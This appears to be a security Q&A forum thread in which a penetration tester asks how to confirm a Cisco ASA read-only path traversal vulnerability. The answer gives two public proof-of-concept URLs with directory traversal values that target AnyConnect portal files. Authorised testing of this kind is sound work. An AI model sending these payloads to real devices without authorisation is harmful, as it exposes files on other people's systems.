0

I have used Nessus to determine that a client's Cisco ASA is vulnerable to a Read-Only Path Traversal Vulnerability. So far I have tried viewing the logon portal page source code, nmap -sV -A <host>, the nmap script http-cisco-anyconnect and ssh -vvv -p port <host> with no luck at obtaining any information about the device, its OS, or patch status.

The advisory from Cisco states:

The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device.

This work is part of an external penetration test, and I do not have access to the device from their internal network.

Can anyone provide any additional techniques to obtain device information or describe how I may construct a HTTP request with path traversal characters in order to confirm this device is vulnerable?

1
  • Doesn't Nessus provide that info? It usually provides proof or ways to replicate the finding.
    – schroeder
    Jul 30 at 18:09
0

There are publicly posted Proof of Concept URLs that can be used to test for this vulnerability:

https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

and

https://<domain>/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.